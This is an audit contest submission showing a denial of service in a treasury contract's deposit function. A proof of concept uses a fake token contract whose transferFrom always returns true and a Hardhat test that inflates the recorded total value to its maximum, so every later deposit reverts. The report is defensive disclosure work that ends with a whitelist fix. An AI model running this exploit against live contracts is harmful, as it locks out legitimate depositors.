Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Attacker can use an arbitrary token address argument to call Treasury.sol::deposit to brick this function and made anyone unable to deposit to treasury (DoS)

0xw3

Summary

An attacker could call Treasury.sol::deposit with:

  • An arbitrary token address argument and

  • A specially amount param
    to brick Treasury.sol::deposit.\

The attacker call will set _totalValue to 2**256-1 (without transfering any tokens) via amount call argument, so later calls to Treasury.sol::deposit will overflow this variable and revert

Vulnerability Details

The vulnerability occurs because contracts/core/collectors/Treasury.sol::deposit function doesnt validate token address (it only checks address is not zero [1]):

function deposit(address token, uint256 amount) external override nonReentrant {
[1]> if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
[2]> IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
[3]> _totalValue += amount;

Next in [2] Treasury transfers from msg.sender amount number of tokens
Finally in [3] _totalValue is incremented by amount call argument

Note that _totalValue is a uint256 contract state variable.
This means the max value for _totalValue is 2**256-1
Once _totalValue reaches its maximum value later deposit calls will revert due to overflow

So an attacker could deploy an arbitrary contract C that returns true to transferFrom calls with any value argument.
And then call Treasury.sol::deposit(C,amount)
where amount = 2**256 -1 - amount_already_deposited_in_treasury
So _totalValue will reach it maximum value and later Treasury.sol::deposit will revert

The following PoC show the described scenario:
An attacker deploys a custom contract and bricks Treasury.sol::deposit without depositing any token

Create a custom contract file in contracts/mocks/core/tokens/MockEmptyCT.sol with the following code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract MockEmptyCT{
function transferFrom(address from, address to, uint256 value) external returns (bool){
return true;
}
}

Add test case in test/unit/core/collectors/Treasury.test.js under "Deposits" section:

it("atkr bricks deposits without depositing any tokens ", async () => {
console.log("[i] First user1 deposits 100 ether of tokens to treasury")
const amount = ethers.parseEther("100");
await treasury.connect(user1).deposit(token.getAddress(), amount);
​
console.log("[i] Getting treasury total deposited");
var total_deposited = await treasury.getTotalValue();
console.log("[i] total_deposited ",total_deposited);
​
// Atkr (usr2) bricks deposits inflating total value with a custom contract, without deposit any token
// amount_to_deposit = 2**256 -1 - amount already deposited
console.log(
"[i] Amount left to fill treasury's totalValue:",
"2**256 -1 - amount_already_deposited_in_treasury:"
);
var amount_to_deposit_param = ethers.MaxUint256 - await treasury.getTotalValue();
console.log(
"\t",amount_to_deposit_param
);
​
// atkr (usr2) deploy custom ct
console.log("[i] Atkr (usr2) deploys custom ct")
var emptyToken = await ethers.getContractFactory("MockEmptyCT");
var e_token = await emptyToken.deploy();
// atkr2 bricks contract deposits, while depositing nothing
console.log("[i] Atkr bricks treasury deposits while depositing nothing");
await treasury.connect(user2).deposit(
e_token.getAddress(),
amount_to_deposit_param
);
​
// user1 tries to deposit , it reverts
console.log("[i] user1 tries to deposit but it reverts (tx in try catch to show error): ");
try {
await treasury.connect(user1).deposit(
token.getAddress(),
amount
);
}catch(error){
console.log(error.toString().substring(0,500));
}
});

Start a localnode:

npm run node

Execute test with:

reset; npx hardhat test test/unit/core/collectors/Treasury.test.js --network localhost

Observe attacker bricked treasury deposit function without spending any token

Impact

Severity: High due to exploiting this vulnerability bricks deposits to treasury for any user

Tools Used

Manual Review

Recommendations

  • Implement a whitelist of approved token addresses to deposit to Treasury.sol::deposit

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.